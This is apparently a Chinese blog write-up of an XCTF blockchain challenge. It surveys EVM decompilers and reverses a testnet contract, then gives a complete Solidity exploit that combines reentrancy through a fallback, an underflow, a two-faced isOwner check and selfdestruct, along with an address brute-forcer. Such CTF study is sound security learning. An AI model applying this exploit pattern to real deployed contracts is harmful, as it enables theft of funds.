XCTF高校战“疫”区块链Writeup + 合约逆向题技巧分享

文章目录 [隐藏]

由于疫情学校还没开学,于是这几天一直在家里学(mo)习(yu)。前几天正好XCTF在办高校战“疫”,校内拉人打,所以就去打了一波。比赛两天,一天摸了一道题,总算也是有了点输出。第一天上来摸得Misc比较常规就不说了,主要来说一下第二天摸得区块链题吧。这是我第一次见到区块链合约的题目,此前完全不知道还有这种题目(是我不刷题,我自裁)。然后就花了一天时间从头学,把这题拿了下来。做题中遇到了很多坑,也积累了一些一般WP里没有提到的经验,所以我就自己写一篇文章来记录下这些细节。

简单了解了下以太坊的知识后,就可以搜集相关的工具了。

Remix的使用

简单操作可以查看: 实现CTF智能合约题目的环境部署

第一次使用需要在左侧Plugin Manager启用插件:Solidity compiler、Deploy & run transactions。

Web3.js的使用

可以直接在Remix页面打开调试工具,这样还可以使用MetaMask管理钱包,非常方便。

从现有交易分析

显然这道题需要对合约进行逆向,所以我简单参考了下这类题目的出题方法和writeup。比较关键的是这两篇: 实现CTF智能合约题目的环境部署智能合约逆向心法34C3_CTF题分析(案例篇·一) 。可以看到,发送邮件是通过监听Event Log来实现的,而Event Log的信息实际上是公开的。因此可以在etherscan看到其他成功解题者的记录,所以一个很直接的想法就是分析别人的解题过程(躺

不过出题人不是傻子,解题人也不是傻子,除非是特别简单的题目,否则拿别人的code直接重放基本上是不可能成功。别人的解题过程只能提供思路,而且并不会包含所有的解题细节。以我自己最终的解题流程( https://ropsten.etherscan.io/tx/0x7df847f7… )为例,可以简单的看出分析现有流程能得到什么。

看交易信息可以看出,这个交易实际上是调用了合约 0x0fa9f3b59cd9dc6bb572a4e2d387e9d2aa508fffgetFlag(string b64email) 函数,遂查看该合约。从合约现有的交易(不计Reverted和创建合约共6个)可以大致整理出调用的顺序:

  • payme
  • buy
  • change
  • attack
  • claim
  • payforflag

然后关注合约间调用,会发现change执行后目标块连续回调了两次,attack执行后和目标块共有两次来回调用(每次转200wei),buy交易发送了1wei。能从交易记录分析出来的内容其实相当有限,但是合约间交易其实还是能说明一些问题的。之后如果想要获得进一步的信息,就需要对这个合约进行逆向分析了。

合约逆向

做人还是要有远大志向,不能老是靠蹲别人的合约过活,不仅浪费时间,而且说不定下次就能拿一血呢


(桃饱网会员)
。再说学了逆向就可以更好的分析现有解题用的合约了,因此我们直接来分析题目的合约(
https://ropsten.etherscan.io/address/0x40a590… )。关于EVM的一些基础介绍可以参考文章:
https://lilymoana.github.io/ethereum…

保存合约

有很多种方法,不过最简单的就是把合约代码(etherscan的contract)复制到文件中。执行

cat contract.hex | xxd -r -ps > contract.bin

就能获得合约的二进制形式了。

Ethervm

进入 https://ethervm.io/decompile/ 把合约地址丢进去,你就能得到反编译和反汇编两个结果了,并且还会直接找出所有公开方法。反汇编结果暂且不论,简单提一下反编译结果的阅读。它的逆向结果是尽可能还原solidity的,因此代码风格类似solidity。

main函数对应的就是合约代码最开始的函数识别逻辑,检查 msg.data[ 0x00 : 0x20 ] 的函数签名并处理fallback函数。之后Ethervm会把每个函数抽取为对应“Internal Methods”,main中只保留从 msg.data 获得参数的代码,之后调用对应函数。比如

if (var0 == 0x1e77933e) {
    // Dispatch table entry for change(address)
    var1 = msg.value;
        
    if (var1) { revert(memory[0x00:0x00]); }
        
    var1 = 0x010c;
    var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
    change(var2);
    stop();
}

而且Ethervm不会尝试还原局部变量(包括编译生成的中间变量)和全局变量。所有出入栈都会被展开成类似这种形式:

var var0 = msg.sender;
var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var2 = 0x2f54bf6e;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var3 = temp1 + 0x20;
var var4 = 0x20;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5;
var var7 = var5;
var var8 = 0x00;
var var9 = var1;
var var10 = !address(var9).code.length;

并且也不会对storage信息(包括mapping)进行处理。基本上就是把字节码翻译为等价solidity代码。

ida-evm

IDA插件,用于disassemble并绘制flowt chart。需要先把合约转为二进制形式再进行读取,载入后可能需要手动C一下。

Rattle比ida-evm的效果好很多,而且不需要依赖诸如IDA的程序。Rattle会对字节码进行简化、调整格式,把代码转为SSA的形式,并进行一些优化。个人感觉读起来比ida-evm的结果要方便很多。

不过自带的函数hash表真的很小。而且有些函数会被留在_fallthrough里。而且最后的格式是图片,因此查看也多少有点麻烦,不过也已经非常适合用来分析了。

Panoramix

Panoramix是我用过的这几个工具里,逆向代码质量最好的。Panoramix的逆向结果是他们自己定义的pan,语法类似于Python。直接上一份题目代码的完整逆向结果:

#
#  Panoramix 4 Oct 2019                                                                                                    
#  Decompiled source of 0x40a590b70790930ceed4d148bF365eeA9e8b35F4
#                                                                                                                          
#  Let's make the world open source                                                                                        
#                                                                                                                          
 
const eth_balance = eth.balance(this.address)
 
def storage:
  stor0 is addr at storage 0
  stor1 is addr at storage 1
  balanceOf is mapping of uint256 at storage 2
  stor3 is mapping of uint8 at storage 3
  unknown35983396 is mapping of uint256 at storage 4
 
def unknown35983396(addr _param1): # not payable
  return unknown35983396[_param1]
 
def status(address _param1): # not payable
  return bool(stor3[_param1])
 
def balanceOf(address _owner): # not payable
  return balanceOf[_owner]
 
def unknownb4de8673(addr _param1): # not payable
  return balanceOf[addr(_param1)]
 
#
#  Regular functions                                                                                                       
#                                                                                                                          
 
def _fallback() payable: # default function
  revert
 
def unknown11f776bc(): # not payable
  require caller != tx.origin
  require caller % 4096 == 4095
  if bool(stor3[caller]) == 1:
      stor3[caller] = 0
      stor0 = caller
 
def buy() payable: 
  require caller != tx.origin
  require caller % 4096 == 4095
  require not unknown35983396[caller]
  require not balanceOf[caller]
  require call.value == 1
  balanceOf[caller] = 100
  unknown35983396[caller] = 1
  return 1
 
def unknown6bc344bc(array _param1): # not payable
  require caller == stor0
  require unknown35983396[caller] >= 100
  stor0 = stor1
  unknown35983396[caller] = 0
  call 0x4cfbdfe01daef460b925773754821e7461750923 with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  log 0x296b9274: Array(len=_param1.length, data=_param1[all])
 
def change(address _toToken): # not payable
  require ext_code.size(caller)
  call caller.isOwner(address param1) with:
       gas gas_remaining wei
      args _toToken
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >= 32
  if not ext_call.return_data[0]:
      require ext_code.size(caller)
      call caller.isOwner(address param1) with:
           gas gas_remaining wei
          args _toToken
      if not ext_call.success:
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >= 32
      stor3[caller] = uint8(bool(ext_call.return_data[0]))
 
def transfer(address _to, uint256 _value): # not payable
  require _to
  require _value > 0
  require balanceOf[caller] >= _value
  require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)]
  balanceOf[caller] -= _value
  balanceOf[addr(_to)] += _value
  require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)]
  return 1
 
def sell(uint256 _amount): # not payable
  require _amount >= 200
  require unknown35983396[caller] > 0
  require balanceOf[caller] >= _amount
  require eth.balance(this.address) >= _amount
  call caller with:
     value _amount wei
       gas gas_remaining wei
  require this.address
  require _amount > 0
  require balanceOf[caller] >= _amount
  require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
  balanceOf[caller] -= _amount
  balanceOf[addr(this.address)] += _amount
  require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
  unknown35983396[caller]--
  return 1

可以看到,Panoramix能识别出require、能处理局部变量、能识别storage布局、能识别fallback函数,甚至能识别出mapping。对着这个输出结果基本上直接就能看出合约的逻辑。而且更骚的是,Etherscan目前已经集成了Panoramix(直接点合约页面Contract下方的Decompile ByteCode就行)。不过官网我试了下似乎并不能读取mainnet之外其他的合约,而且如果你要识别现有程序,就需要自己clone代码进行修改了: https://github.com/eveem-org/panoramix

我推荐的patch是修改pano/loader.py的三处,一处是code_fetch函数(直接读取contract.hex):

def code_fetch(address, network='mainnet'):
    with open('contract.hex', 'r') as f:
        code = ''.join(f.readlines())
    print(code)
    return code

另一处是load_binary函数,在while循环前加入一行 source = source.replace(‘\n’, ”) 。还有一处就是注释 import secret 。之后把合约hex数据存入contract.hex,然后调用程序传入合约地址就行。另外,逆向过程中还有可能产生一些工具函数的调用,可以参考官网的文档: https://eveem.org/tutorial/

ethereum-graph-debugger

看着很香,但是还没试过,先咕着: https://github.com/fergarrui/ethereum-graph-debugger

题目分析

当时做题的时候我是直接阅读Ethervm的(读的还是很痛苦的,因为没搞懂Panoramix的输出格式),不过由于Panoramix的输出更友好,所以相关代码将会用Panoramix的逆向结果说明。

从题目来看,题目最终的目的是触发事件 event pikapika_SendFlag(string b64email) 。但是题目没有提供合约源码,因此本题需要对合约进行逆向。显然 payforflag(string) 和flag获得有关,而且方法逻辑中确实调用了log函数。

def unknown6bc344bc(array _param1): # not payable
  require caller == stor0
  require unknown35983396[caller] >= 100
  stor0 = stor1
  unknown35983396[caller] = 0
  call 0x4cfbdfe01daef460b925773754821e7461750923 with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  log 0x296b9274: Array(len=_param1.length, data=_param1[all])

分析可以看出:

  1. 要求msg.sender == stor0
  2. 要求修改mapping unknown35983396 >= 100

之后会清除unknown35983396、修改stor0、将所有余额转至0x4cfbdfe01daef460b925773754821e7461750923、记录事件日志。寻找unknown35983396的使用,可以发现其修改共有两处(除了归零),一次位于sell(uint256)每次调用自减,另外就是buy()时设置为1。由于没有检查溢出,因此明显需要调用两次sell(uint256)。

def sell(uint256 _amount): # not payable
  require _amount >= 200
  require unknown35983396[caller] > 0
  require balanceOf[caller] >= _amount
  require eth.balance(this.address) >= _amount
  call caller with:
     value _amount wei
       gas gas_remaining wei
  require this.address
  require _amount > 0
  require balanceOf[caller] >= _amount
  require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
  balanceOf[caller] -= _amount
  balanceOf[addr(this.address)] += _amount
  require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
  unknown35983396[caller]--
  return 1

sell(uint256) 的参数是售卖的数量。观察限制条件发现,需要:

  1. _amount >= 200
  2. unknown35983396>0
  3. 代币余额 >= _amount
  4. 账户eth余额 >= _amount

之后函数会发送空数据调用给调用方进行转账(eth),处理代币的转账,最后修改unknown35983396。要修改两次unknown35983396,显然需要重复调用 sell(uint256) ,并且第二次调用产生在状态修改前。因此可以在转账eth的时候再次发起一次 sell(uint256) 的调用,这可以通过fallback函数来实现。

为了更改代币余额,查找相关函数,可以发现代币余额的调整发生在buy()函数。

def buy() payable: 
  require caller != tx.origin
  require caller % 4096 == 4095
  require not unknown35983396[caller]
  require not balanceOf[caller]
  require call.value == 1
  balanceOf[caller] = 100
  unknown35983396[caller] = 1
  return 1

函数调用需满足tx.origin == msg.sender(也就是需要通过其他合约访问)、合约地址结尾msg.sender & 0x0fff == 0x0fff 。因此显然要编写漏洞利用合约,并且需要控制合约地址。由于unknown35983396的要求,buy只可以调用一次,并且一次只能转账1 wei。

由于要调用两次 sell(uint256) ,而且_amount >= 200,因此调用账户至少需要有400单位代币,并且合约账户eth余额 >= 400wei。400单位代币可以通过使用其他账户购买,并调用 transfer(address,uint256) 将代币余额转到最终调用 sell(uint256) 的账户。而账户eth余额,由于合约只有 buy() 一个payable函数,所以如果用 buy() 转账就要调用400次,显然很麻烦。因此可以采用selfdestruct指定参数的方法转出合约的全部余额。

另外关于stor0,可以看到在函数签名为0x11f776bc的函数中进行了修改。

def unknown11f776bc(): # not payable
  require caller != tx.origin
  require caller % 4096 == 4095
  if bool(stor3[caller]) == 1:
      stor3[caller] = 0
      stor0 = caller

这里还要求mapping stor3设为1。可以查找到,stor3的修改位于 change(address)

def change(address _toToken): # not payable
  require ext_code.size(caller)
  call caller.isOwner(address param1) with:
       gas gas_remaining wei
      args _toToken
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >= 32
  if not ext_call.return_data[0]:
      require ext_code.size(caller)
      call caller.isOwner(address param1) with:
           gas gas_remaining wei
          args _toToken
      if not ext_call.success:
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >= 32
      stor3[caller] = uint8(bool(ext_call.return_data[0]))

这里两次调用了消息发送方的 isOwner(address) 函数,并且要求调用结果一次返回假、一次返回真。

漏洞利用

通过分析可以看出,主要利用的是重入攻击(Reentrancy Attack)和算数溢出。可以整理出漏洞利用的大致流程:

  1. 分别生成4个账户
  2. 分别创建漏洞利用合约,地址要满足条件
  3. 分别调用 buy() 传送1 wei
  4. 取其中三个合约,分别调用transfer(address,uint256),将其代币余额转至攻击用的合约
  5. 新建合约,向传送至少400 wei
  6. 在新建合约执行 selfdestruct(题目合约)
  7. 调用 sell(uint256) (fallback函数负责第二次调用)
  8. 调用 change(address)
  9. 调用 0x11f776bc
  10. 调用 payforflag(string) 得到flag

利用代码如下:

pragma solidity >=0.4.22 <0.7.0;
 
contract Exp {
 
    address private me;
    address private game = 0x40a590b70790930ceed4d148bF365eeA9e8b35F4;
    
    bool private ownerAsk = false;
    bool private recall = false;
    
    constructor() public {
        me = msg.sender;
    }
    
    modifier check() {
        require(msg.sender == me, "Caller is not owner");
        _;
    }
    
    event OwnerCheck(bytes data, address who, address check, bool ret, bool flag);
    
    function isOwner(address check) external view returns (bool) {
        emit OwnerCheck(msg.data, msg.sender, check, check == me, ownerAsk);
        if (check == me) {
            if (!ownerAsk) {
                ownerAsk = true;
                return false;
            }
            return true;
        }
        return false;
    }
 
    function payme() public payable {}
    
    function buy() public check {
        game.call.gas(msg.gas).value(0x01)(bytes4(keccak256("buy()")));
    }
    
    function change() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("change(address)")), me);
    }
    
    function transfer(address addr) public check {
        game.call.gas(msg.gas)(bytes4(keccak256("transfer(address,uint256)")), addr, uint256(100));
    }
    
    function attack() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
    }
    
    event FallbackCalled(bytes data, address who);
    
    function () payable {
        emit FallbackCalled(msg.data, msg.sender);
        
        if (msg.sender == game && !recall) {
            recall = true;
            game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
        }
    }
    
    function claim() public check {
        var sig = 0x11f776bc;
        
        game.call.gas(msg.gas)(bytes4(sig));
    }
    
    function getFlag(string b64email) public check {
        game.call.gas(msg.gas)(abi.encodeWithSignature("payforflag(string)", b64email));
    }
    
    function kill() public check {
        if (me == msg.sender) {
            selfdestruct(me);
        }
    }
    
    function trans() public check {
        if (me == msg.sender) {
            selfdestruct(game);
        }
    }
    
    function reset() public check {
        recall = false;
        ownerAsk = false;
    }
    
    function set(bool a, bool b) public check {
        recall = a;
        ownerAsk = b;
    }
}

合约地址限制

题目要求合约地址末尾为0xfff。合约地址的计算实际上是rlp编码的[钱包地址, nonce(交易次数)]。根据钱包地址穷举nonce一般会得到一个很大的值(我自己试了几个在两三千左右),这么大的交易次数要想达到还是很麻烦的。因此可以设置nonce = 0,之后随机生成钱包账户检查是否符合。生成代码如下(node.js):

const rlp = require('rlp');
const keccak = require('keccak');
const Web3 = require('web3');
var CryptoJS = require('crypto-js');
var EC = require('elliptic').ec;
var ec = new EC('secp256k1');
 
var nonce = 0x00;
 
function make(sender, nonce) {
    var input_arr = [ sender, nonce ];
    var rlp_encoded = rlp.encode(input_arr);
 
    var contract_address_long = keccak('keccak256').update(rlp_encoded).digest('hex');
 
    var contract_address = contract_address_long.substring(24); // Trim the first 24 characters.
    return contract_address;
}
 
var private;
 
function create() {
    var keyPair = ec.genKeyPair();
 
    // Set the privKey
    private = keyPair.getPrivate();
 
    // Derive the pubKey
    var compact = false;
    var pubKey = keyPair.getPublic(compact, 'hex').slice(2);
 
    // pubKey -> address
    var pubKeyWordArray = CryptoJS.enc.Hex.parse(pubKey);
    var hash = CryptoJS.SHA3(pubKeyWordArray, { outputLength: 256 });
    var address = hash.toString(CryptoJS.enc.Hex).slice(24);
    
    return address;
}
 
while (true) {
    addr = create();
    caddr = make('0x' + addr, nonce);
    if (caddr.slice(-3) == 'fff') {
        console.log(caddr);
        console.log(addr);
        console.log(private.toString(16));
        break;
    }
}

Gas是执行合约函数的工本费,收费标准和编译后形成的指令有关,这里注意的是Gas一定要给够。如果Gas不给够,那合约调用是不会产生效果的。

自定义交易内容

使用Remix的调试工具发送交易确实很简单,但是有时候还是需要自定义交易内容的。比如漏洞利用合约的payme(),需要设置value值确定转账数额。此时可以用web3.js自定义交易内容:

let obj = {
    to: "",        // 目标地址
    gas: 3000000,  // gas值
    value: 1,      // value值,单位:wei
    data:""        // 交易数据
    // 其余请自行查阅文档
};
web3.eth.sendTransaction(obj, (err, address) => {
  if (!err)
    console.log(address);
});

检查mapping值

由于漏洞利用步骤复杂,很容易搞错小步骤导致后续利用失败,因此可以检查mapping的值来判断是否正确调用。mapping实际上也是存储在Storage中的,并且它位移的计算是: keccak256(调用方地址 + mapping位移) 。mapping位移就是Storage的偏移,Panoramix的输出中即at storage后面的数字。

使用web3.js可以查询到Storage的数据:

web3.eth.getStorageAt("合约地址", "偏移", function(x,y){console.log(x,y);})

防偷鸡措施

由于以太坊是完全透明公开的,所以你的漏洞利用合约和调用记录完全是公开透明的,因此要想防止别人分析你的解题合约还是有一定难度的。这里提供几个建议:

  1. 取复杂的函数名,最好保证签名数据库中没有记录
  2. 如果合约有多个步骤,多写几个合约
  3. 如果可以,用不同的账户创建多个合约进行利用

不过说实话,就算拿到了解题合约,如果题目出的足够好,那分析得到的结果也没有太大的用处。因此其实还要看题目的质量如何。

推荐阅读